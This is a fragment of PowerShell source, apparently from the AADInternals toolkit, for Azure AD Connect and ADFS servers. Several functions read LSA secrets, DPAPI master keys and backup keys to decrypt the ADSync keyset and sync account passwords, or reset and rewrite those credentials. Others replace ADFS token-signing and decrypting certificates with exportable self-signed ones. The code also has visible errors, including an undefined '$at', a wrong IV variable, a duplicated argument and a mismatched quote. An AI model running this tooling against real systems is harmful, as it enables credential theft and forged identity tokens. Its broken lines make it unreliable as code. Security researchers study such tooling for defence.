|
||||
# May 16th 2019
|
||||
function Update-SyncCredentials
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Updates Azure AD Connect synchronization credentials
|
||||
|
||||
.Description
|
||||
Updates Azure Active Directory Connect user's password to Azure AD and WID configuration database. MUST be run on AADConnect server
|
||||
as local administrator with Global Admin credentials to Azure AD
|
||||
|
||||
.Example
|
||||
Update-AADIntSyncCredentials
|
||||
Password successfully updated to Azure AD and configuration database!
|
||||
Remember to restart the sync service: Restart-Service ADSync
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
|
||||
.Example
|
||||
Update-AADIntSyncCredentials -RestartADSyncService
|
||||
Password successfully updated to Azure AD and configuration database!
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Switch]$RestartADSyncService,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[bool]$AsADSync=$true,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[switch]$force
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Do the checks
|
||||
if((Check-Server -AsADSync $AsADSync -force $force) -eq $false)
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
if([String]::IsNullOrEmpty($AccessToken))
|
||||
{
|
||||
Write-Error "No AccessToken provided!"
|
||||
return
|
||||
}
|
||||
# Admin user
|
||||
$AdminUser = (Read-Accesstoken -AccessToken $at).upn
|
||||
|
||||
# Get the current configuration
|
||||
$SyncCreds = Get-SyncCredentials -force
|
||||
$SyncUser = ($SyncCreds.AADUser.Split("@")[0])
|
||||
|
||||
Write-Verbose "Updating password for $SyncUser as $AdminUser"
|
||||
|
||||
# Reset the account password in AzureAD
|
||||
$NewPassword = (Reset-ServiceAccount -AccessToken $AccessToken -ServiceAccount $SyncUser).Password
|
||||
|
||||
# Escaping password for xml
|
||||
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
|
||||
|
||||
if([String]::IsNullOrEmpty($NewPassword))
|
||||
{
|
||||
Write-Error "Password for user $SyncCreds could not be reset to Azure AD"
|
||||
return
|
||||
}
|
||||
|
||||
# Create a new config
|
||||
$ADDecryptedConfig=@"
|
||||
<encrypted-attributes>
|
||||
<attribute name="Password">$NewPassword</attribute>
|
||||
</encrypted-attributes>
|
||||
"@
|
||||
# Read the encrypt/decrypt key settings
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$key_id = $SQLreader.GetInt32(0)
|
||||
$instance_id = $SQLreader.GetGuid(1)
|
||||
$entropy = $SQLreader.GetGuid(2)
|
||||
$SQLreader.Close()
|
||||
|
||||
# Load keys
|
||||
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
|
||||
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
|
||||
$key = $null
|
||||
$KeyMgr.GetActiveCredentialKey([ref]$key)
|
||||
$key2 = $null
|
||||
$KeyMgr.GetKey(1, [ref]$key2)
|
||||
|
||||
# Encrypt
|
||||
$AADCryptedConfig = $null
|
||||
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$AADCryptedConfig)
|
||||
|
||||
# Write the updated AAD password
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
|
||||
$SQLcmd.Parameters.AddWithValue("@pwd",$AADCryptedConfig) | Out-Null
|
||||
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
|
||||
$SQLclient.Close()
|
||||
|
||||
if($UpdatedRows -ne 1)
|
||||
{
|
||||
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
|
||||
return
|
||||
}
|
||||
|
||||
Write-Host "Password successfully updated to Azure AD and configuration database!"
|
||||
|
||||
# Return
|
||||
Get-SyncCredentials -force
|
||||
|
||||
# Restart the ADSync service if requested
|
||||
if($RestartADSyncService)
|
||||
{
|
||||
Restart-Service ADSync
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# May 17th 2019
|
||||
function Set-ADSyncAccountPassword
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets the password of ADSync service account
|
||||
|
||||
.Description
|
||||
Sets the password of ADSync service account to AD and WID configuration database. MUST be run on AADConnect server
|
||||
as domain administrator.
|
||||
|
||||
.Example
|
||||
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd'
|
||||
Password successfully updated to AD and configuration database!
|
||||
Remember to restart the sync service: Restart-Service ADSync
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Pa$$w0rd
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
|
||||
.Example
|
||||
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd' -RestartADSyncService
|
||||
Password successfully updated to AD and configuration database!
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
ADDomain company.com
|
||||
ADUser MSOL_4bc4a34e95fa
|
||||
ADUserPassword Pa$$w0rd
|
||||
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
|
||||
AADUserPassword $.1%(lxZ&/kNZz[r
|
||||
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$NewPassword,
|
||||
[Switch]$RestartADSyncService,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[bool]$AsADSync=$true,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[switch]$force
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Do the checks
|
||||
if((Check-Server -AsADSync $AsADSync -force $force) -eq $false)
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
# Add the encryption reference (should always be there)
|
||||
Add-Type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll’
|
||||
|
||||
# Get the current configuration
|
||||
$SyncCreds = Get-SyncCredentials -force
|
||||
$SyncUser = $SyncCreds.ADUser
|
||||
|
||||
Write-Verbose "Updating password for $SyncUser"
|
||||
|
||||
# Reset the account password in AD
|
||||
try
|
||||
{
|
||||
Set-ADAccountPassword -Identity $SyncUser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $NewPassword -Force)
|
||||
}
|
||||
catch
|
||||
{
|
||||
# There might be complexity etc. requirements
|
||||
throw $_
|
||||
return
|
||||
}
|
||||
|
||||
# Escaping password for xml
|
||||
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
|
||||
|
||||
# Create a new config
|
||||
$ADDecryptedConfig=@"
|
||||
<encrypted-attributes>
|
||||
<attribute name="Password">$NewPassword</attribute>
|
||||
</encrypted-attributes>
|
||||
"@
|
||||
# Read the encrypt/decrypt key settings
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$key_id = $SQLreader.GetInt32(0)
|
||||
$instance_id = $SQLreader.GetGuid(1)
|
||||
$entropy = $SQLreader.GetGuid(2)
|
||||
$SQLreader.Close()
|
||||
|
||||
# Load keys
|
||||
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
|
||||
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
|
||||
$key = $null
|
||||
$KeyMgr.GetActiveCredentialKey([ref]$key)
|
||||
$key2 = $null
|
||||
$KeyMgr.GetKey(1, [ref]$key2)
|
||||
|
||||
# Encrypt
|
||||
$ADCryptedConfig = $null
|
||||
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$ADCryptedConfig)
|
||||
|
||||
# Write the updated AA password
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE ma_type = 'AD'"
|
||||
$SQLcmd.Parameters.AddWithValue("@pwd",$ADCryptedConfig) | Out-Null
|
||||
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
|
||||
$SQLclient.Close()
|
||||
|
||||
if($UpdatedRows -ne 1)
|
||||
{
|
||||
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
|
||||
return
|
||||
}
|
||||
|
||||
Write-Host "Password successfully updated to AD and configuration database!"
|
||||
|
||||
# Return
|
||||
Get-SyncCredentials -force
|
||||
|
||||
# Restart the ADSync service if requested
|
||||
if($RestartADSyncService)
|
||||
{
|
||||
Restart-Service ADSync
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Decrypts AD and AAD passwords with the given key and IV
|
||||
# May 3rd 2020
|
||||
function Get-DecryptedConfigPassword
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[guid]$InitialVector
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create the AES decryptor
|
||||
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
|
||||
$aes.Mode = "CBC"
|
||||
$aes.Key = $Key
|
||||
$aes.IV = $iv.ToByteArray()
|
||||
$dc=$aes.CreateDecryptor()
|
||||
|
||||
# Decrypt the data
|
||||
$decData = $dc.TransformFinalBlock($Data,0,$Data.Length)
|
||||
|
||||
# Convert to xml and get the password
|
||||
[xml]$decDataXml = ([text.encoding]::Unicode.GetString($decData)).trimEnd(@(0x00,0x0a,0x0d))
|
||||
$decPassword = $decDataXml.'encrypted-attributes'.attribute.'#text'
|
||||
|
||||
Write-Verbose "DecryptedConfigPassword: $($decDataXml.OuterXml)"
|
||||
|
||||
# Return
|
||||
return $decPassword
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Encrypts AD or AAD password with the given key and IV
|
||||
# May 3rd 2020
|
||||
function New-DecryptedConfigPassword
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Password,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Key,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[guid]$InitialVector
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Escaping password for xml
|
||||
$NewPassword = [System.Security.SecurityElement]::Escape($Password)
|
||||
|
||||
# Create the AES encryptor
|
||||
$aes=New-Object -TypeName System.Security.Cryptography.AesCryptoServiceProvider
|
||||
$aes.Mode = "CBC"
|
||||
$aes.Key = $Key
|
||||
$aes.IV = $iv.ToByteArray()
|
||||
$de=$aes.CreateEncryptor()
|
||||
|
||||
# Encrypt the data
|
||||
$data = "<encrypted-attributes><attribute name=""password"">$NewPassword</attribute></encrypted-attributes>"
|
||||
$binData = [text.encoding]::Unicode.GetBytes($data)
|
||||
$decData = $de.TransformFinalBlock($binData,0,$binData.Length)
|
||||
|
||||
Write-Verbose "DecryptedConfigPassword: $data"
|
||||
|
||||
# Return
|
||||
return $decData
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Retrieves ADSync encryption key used to encrypt and decrypt configuration data
|
||||
# May 3rd 2020
|
||||
function Get-SyncEncryptionKey
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADSync encryption key using the given entropy and instance id
|
||||
|
||||
.DESCRIPTION
|
||||
Gets the ADSync encryption key used to encrypt and decrypt passwords for service users of Azure AD and local AD
|
||||
|
||||
.Example
|
||||
Get-AADIntSyncEncryptionKey -Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca -InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
|
||||
|
||||
Id Guid CryptAlg Key
|
||||
-- ---- -------- ---
|
||||
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
|
||||
|
||||
.Example
|
||||
$key_info = Get-AADIntSyncEncryptionKeyInfo
|
||||
|
||||
PS C:\>Get-AADIntSyncEncryptionKey -Entropy $key_info.Entropy -InstanceId $key_info.InstanceId
|
||||
|
||||
Id Guid CryptAlg Key
|
||||
-- ---- -------- ---
|
||||
100000 299b1d83-9dc6-479a-92f1-2357fc5abfed 26128 {4, 220, 54, 13...}
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[guid]$Entropy,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[guid]$InstanceId
|
||||
)
|
||||
|
||||
# Define the return variable
|
||||
$retVal = $null
|
||||
|
||||
# Fetch the full name of the ADSync user. Should be in the format DOMAIN\AAD_xxxxxxxxxxxx
|
||||
$FullName=(Get-WmiObject Win32_Service -Filter "Name='ADSync'").StartName
|
||||
$userName = $FullName.split("\")[1]
|
||||
|
||||
# Get user's SID
|
||||
$userSID=(Get-WmiObject win32_useraccount -Filter "Name='$userName'").SID
|
||||
|
||||
|
||||
# Get the stored password for the ADSync service -> this is the password of DOMAIN\AAD_xxxxxxxxxxxx user!
|
||||
$LSAUserName = "_SC_ADSync"
|
||||
$LSASecret=Get-LSASecrets -Users "_SC_ADSync"
|
||||
$password=$LSASecret.PasswordTxt
|
||||
|
||||
Write-Verbose "UserName: $FullName"
|
||||
Write-Verbose "SID: $userSID"
|
||||
Write-Verbose "Password: $password`n`n"
|
||||
|
||||
# As we now know the password of the user, we can get user masterkeys without system masterkey
|
||||
# Get user's masterkeys and decode them with username and password
|
||||
#$masterKeys=Get-UserMasterkeys -UserName $userName -SID $userSID -Password $password
|
||||
|
||||
# Get the system key
|
||||
$systemKey = Get-LSABackupKeys | Where-Object name -eq "RSA"
|
||||
|
||||
# Get the system masterkeys
|
||||
$masterKeys = Get-SystemMasterkeys -SystemKey $systemKey.Key
|
||||
|
||||
# Get the user's masterkeys
|
||||
$usrMasterKeys = Get-UserMasterkeys -UserName $userName -SystemKey $systemKey.Key -SID $userSID
|
||||
|
||||
# Merge the keys
|
||||
foreach($key in $usrMasterKeys.Keys)
|
||||
{
|
||||
$masterKeys[$key]=$usrMasterKeys[$key]
|
||||
}
|
||||
|
||||
# Get user's credentials with the masterkeys
|
||||
$credentials = Get-LocalUserCredentials -UserName $userName -MasterKeys $masterKeys
|
||||
|
||||
# Try to find the correct credential entry
|
||||
foreach($cred in $credentials)
|
||||
{
|
||||
$target = $cred.Target
|
||||
# Check the target, we are looking for:
|
||||
# LegacyGeneric:target=Microsoft_AzureADConnect_KeySet_{00000000-0000-0000-0000-0000000000}_100000
|
||||
if($target.toLower().Contains(([guid]$instanceid).ToString()))
|
||||
{
|
||||
$keySetId = [int]$target.Split("_")[4]
|
||||
# The keyset is actually a DPAPIBlob, so decrypt it using a native DPAPI method in LOCAL MACHINE context
|
||||
$keySet = [AADInternals.Native]::getDecryptedData($cred.Secret,$entropy.toByteArray())
|
||||
|
||||
Write-Verbose "KeySet ($keySetId): $(Convert-ByteArrayToHex -Bytes $keySet)"
|
||||
|
||||
# Parse the keyset
|
||||
$key = Parse-KeySetBlob -Data $keySet
|
||||
|
||||
# Check whether the id and guid matches
|
||||
if($key.Id -eq $keySetId -and $key.Guid -eq $instanceId)
|
||||
{
|
||||
$retVal = $key
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return $retVal
|
||||
}
|
||||
|
||||
# Parses the MMSK key set blob
|
||||
# May 3rd 2020
|
||||
function Parse-KeySetBlob
|
||||
{
|
||||
[CmdletBinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Parse the KeySet
|
||||
$p=4 # Skip the MMSK string at the beginning
|
||||
$version = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$id = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$guid = [guid][byte[]]$Data[$p..$($p+15)]; $p+=16
|
||||
$unk0 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk1 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk3 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk4 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$keyBlockSize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$secondKeySize = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk7 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk8 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk9 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk10 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk11 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$unk12 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$enAlg = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$keyLength = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
$key = $Data[$p..$($p+$keyLength-1)]; $p+=$keyLength
|
||||
#$unk15 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
#$enAlg2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
#$keyLength2 = [System.BitConverter]::ToInt32($Data,$p);$p+=4
|
||||
#$key2 = $Data[$p..$($p+$keyLength2-1)]; $p+=$keyLength2
|
||||
|
||||
Write-Verbose "*** KEYSET ***"
|
||||
Write-Verbose "Id: $id"
|
||||
Write-Verbose "Guid: $guid"
|
||||
Write-Verbose "CryptAlg: $enAlg $($ALGS[$enAlg])"
|
||||
Write-Verbose "Key: $(Convert-ByteArrayToHex -Bytes $key)`n`n"
|
||||
|
||||
$attributes=[ordered]@{
|
||||
"Id" = $id
|
||||
"Guid" = $guid
|
||||
"CryptAlg" = $enAlg
|
||||
"Key" = $key
|
||||
}
|
||||
|
||||
|
||||
return New-Object PSObject -Property $attributes
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Gets entropy and instanceid from the local configuration database
|
||||
# May 6th 2020
|
||||
function Get-SyncEncryptionKeyInfo
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets ADSync encryption key info from the local configuration database
|
||||
|
||||
.DESCRIPTION
|
||||
Gets ADSync encryption key info from the local configuration database
|
||||
|
||||
.Example
|
||||
Get-AADIntSyncEncryptionKeyInfo
|
||||
|
||||
Name Value
|
||||
---- -----
|
||||
InstanceId 299b1d83-9dc6-479a-92f1-2357fc5abfed
|
||||
Entropy a1c80460-6fe9-4c6f-bf31-d7a34c878dca
|
||||
#>
|
||||
[CmdletBinding()]
|
||||
param()
|
||||
|
||||
# Read the encrypt/decrypt key settings
|
||||
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
|
||||
$SQLclient.Open()
|
||||
$SQLcmd = $SQLclient.CreateCommand()
|
||||
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
|
||||
$SQLreader = $SQLcmd.ExecuteReader()
|
||||
$SQLreader.Read() | Out-Null
|
||||
$key_id = $SQLreader.GetInt32(0)
|
||||
$instance_id = $SQLreader.GetGuid(1)
|
||||
$entropy = $SQLreader.GetGuid(2)
|
||||
$SQLreader.Close()
|
||||
$SQLClient.Close()
|
||||
|
||||
return New-Object PSObject @{Entropy = $entropy; InstanceId = $instance_id}
|
||||
}
|
||||
|
||||
# Gets the db connection string from the registry
|
||||
# May 11th
|
||||
function Get-AADConfigDbConnection
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
Begin
|
||||
{
|
||||
# Create the connection string for the configuration database
|
||||
$parametersPath = "HKLM:\SYSTEM\CurrentControlSet\Services\ADSync\Parameters"
|
||||
$dBServer = (Get-ItemProperty -Path $parametersPath).Server
|
||||
$dBName = (Get-ItemProperty -Path $parametersPath).DBName
|
||||
$dBInstance = (Get-ItemProperty -Path $parametersPath).SQLInstance
|
||||
$connectionString = "Data Source=$dbServer\$dBInstance;Initial Catalog=$dBName"
|
||||
}
|
||||
Process
|
||||
{
|
||||
Write-Verbose "ConnectionString=$connectionString"
|
||||
|
||||
return $connectionString
|
||||
}
|
||||
}
|
||||
+932
@@ -0,0 +1,932 @@
|
||||
# Updated Apr 22nd 2021
|
||||
|
||||
|
||||
#May 24th 2019
|
||||
function New-ADFSSelfSignedCertificates
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Creates new self-signed Token Signing and Token Decrypt certificates for ADFSService
|
||||
|
||||
.Description
|
||||
Disables auto rollover and creates new self-signed Token Signing and Token Decrypt certificates for ADFSService.
|
||||
Certificates are added to ADFS and the service is restarted. Certificates are also saved to the current directory.
|
||||
|
||||
.Parameter PfxPassword
|
||||
Password for the Token Signing and Token Decrypt .pfx files. Default is "AADInternals".
|
||||
|
||||
.Example
|
||||
New-AADIntADFSSelfSignedCertificates
|
||||
|
||||
.Example
|
||||
New-AADIntADFSSelfSignedCertificates -PfxPassword "MyPassword"
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$PfxPassword="AADInternals",
|
||||
[Switch]$Force
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
# Set the password
|
||||
$CertificatePassword = ConvertTo-SecureString -String $pfxPassword -Force -AsPlainText
|
||||
|
||||
# Check the auto rollover status
|
||||
if(!$Force -and !(Get-AdfsProperties).AutoCertificateRollover)
|
||||
{
|
||||
Write-Error "Certificate Auto Rollover is allready disabled!"
|
||||
return
|
||||
}
|
||||
|
||||
# Disable auto rollover
|
||||
Set-ADFSProperties -AutocertificateRollover $false
|
||||
|
||||
# Get the current certificates
|
||||
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
|
||||
$Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting
|
||||
|
||||
# Create new certificates with the same name and store to LocalMachine store
|
||||
$New_SigningCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_SigningCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_SigningCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange
|
||||
$New_DecryptCertificate = New-SelfSignedCertificate -CertStoreLocation "Cert:\LocalMachine\My" -DnsName $Cur_DecryptCertificate.Certificate.DnsNameList[0].Unicode -NotAfter (Get-Date).AddYears(10) -NotBefore $Cur_DecryptCertificate.Certificate.NotBefore -KeyExportPolicy Exportable -TextExtension @("2.5.29.37={text}2.5.29.37.0") -KeySpec KeyExchange
|
||||
|
||||
# Export the new certificates
|
||||
Export-PfxCertificate -FilePath "ADFS_Token_Signing.pfx" -Password $CertificatePassword -Cert $New_SigningCertificate |Out-Null
|
||||
Export-PfxCertificate -FilePath "ADFS_Token_Decrypt.pfx" -Password $CertificatePassword -Cert $New_DecryptCertificate |Out-Null
|
||||
|
||||
# Add certificates to ADFS
|
||||
Add-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint
|
||||
Add-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint
|
||||
|
||||
# Set the new ones as primary
|
||||
Set-AdfsCertificate -CertificateType Token-Signing -Thumbprint $New_SigningCertificate.Thumbprint -IsPrimary
|
||||
Set-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $New_DecryptCertificate.Thumbprint -IsPrimary
|
||||
|
||||
# Remove the old ones from ADFS
|
||||
Remove-AdfsCertificate -CertificateType Token-Signing -Thumbprint $Cur_SigningCertificate.Thumbprint
|
||||
Remove-AdfsCertificate -CertificateType Token-Decrypting -Thumbprint $Cur_DecryptCertificate.Thumbprint
|
||||
|
||||
# Get the ADFS service information
|
||||
$Service=Get-WMIObject -namespace "root\cimv2" -class Win32_Service -Filter 'Name="ADFSSRV"'
|
||||
|
||||
# Create an accessrule for private keys
|
||||
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $service.StartName, "read", allow
|
||||
$Root = "C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys"
|
||||
|
||||
# Give read permissions to private key of Signing Certificate
|
||||
$rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_SigningCertificate)
|
||||
$fileName = $rsaCert.key.UniqueName
|
||||
$path="$Root\$fileName"
|
||||
$permissions = Get-Acl -Path $path
|
||||
$permissions.AddAccessRule($AccessRule)
|
||||
Set-Acl -Path $path -AclObject $permissions
|
||||
|
||||
# Give read permissions to private key of Decryption Certificate
|
||||
$rsaCert = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($New_DecryptCertificate)
|
||||
$fileName = $rsaCert.key.UniqueName
|
||||
$path="$Root\$fileName"
|
||||
$permissions = Get-Acl -Path $path
|
||||
$permissions.AddAccessRule($AccessRule)
|
||||
Set-Acl -Path $path -AclObject $permissions
|
||||
|
||||
# Restart ADFS service
|
||||
Restart-Service ADFSSrv
|
||||
|
||||
# Output
|
||||
Write-Host "Certificates successfully created and added to ADFS!"
|
||||
Write-Host "Certificates also exported to ADFS_Token_Decrypt.pfx and ADFS_Token_Signing.pfx using password `"$PfxPassword`""
|
||||
Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!"
|
||||
}
|
||||
}
|
||||
|
||||
#May 24th 2019
|
||||
function Restore-ADFSAutoRollover
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Restores ADFS to "normal" mode: Token Signing and Token Decryption certificates are automatically rolled over once a year.
|
||||
|
||||
.Description
|
||||
Enables certificate auto rollover, updates Token Signing and Token Decryption certificates and removes the old self-signed certificates.
|
||||
|
||||
.Example
|
||||
Restore-AADIntADFSAutoRollover
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Switch]$Force
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Check the auto rollover status
|
||||
if(!$Force -and (Get-AdfsProperties).AutoCertificateRollover)
|
||||
{
|
||||
Write-Error "Certificate Auto Rollover is allready enabled!"
|
||||
return
|
||||
}
|
||||
|
||||
# Enable auto rollover
|
||||
Set-ADFSProperties -AutocertificateRollover $true
|
||||
|
||||
# Get the current certificates
|
||||
$Cur_SigningCertificate = Get-AdfsCertificate -CertificateType Token-Signing
|
||||
$Cur_DecryptCertificate = Get-AdfsCertificate -CertificateType Token-Decrypting
|
||||
|
||||
# Update certificates
|
||||
Update-AdfsCertificate -CertificateType Token-Signing -Urgent
|
||||
Update-AdfsCertificate -CertificateType Token-Decrypting -Urgent
|
||||
|
||||
# Remove the old certificates from the certificate store
|
||||
Remove-Item "Cert:\LocalMachine\My\$($Cur_SigningCertificate.Thumbprint)" -ErrorAction SilentlyContinue
|
||||
Remove-Item "Cert:\LocalMachine\My\$($Cur_DecryptCertificate.Thumbprint)" -ErrorAction SilentlyContinue
|
||||
|
||||
# Restart ADFS service
|
||||
Restart-Service ADFSSrv
|
||||
|
||||
# Output
|
||||
Write-Host "Autorollover succesfully turned on and old certificates removed from ADFS and certstore."
|
||||
Write-Warning "Remember to update federation settings to Azure AD using Update-AADIntADFSFederationSettings!"
|
||||
}
|
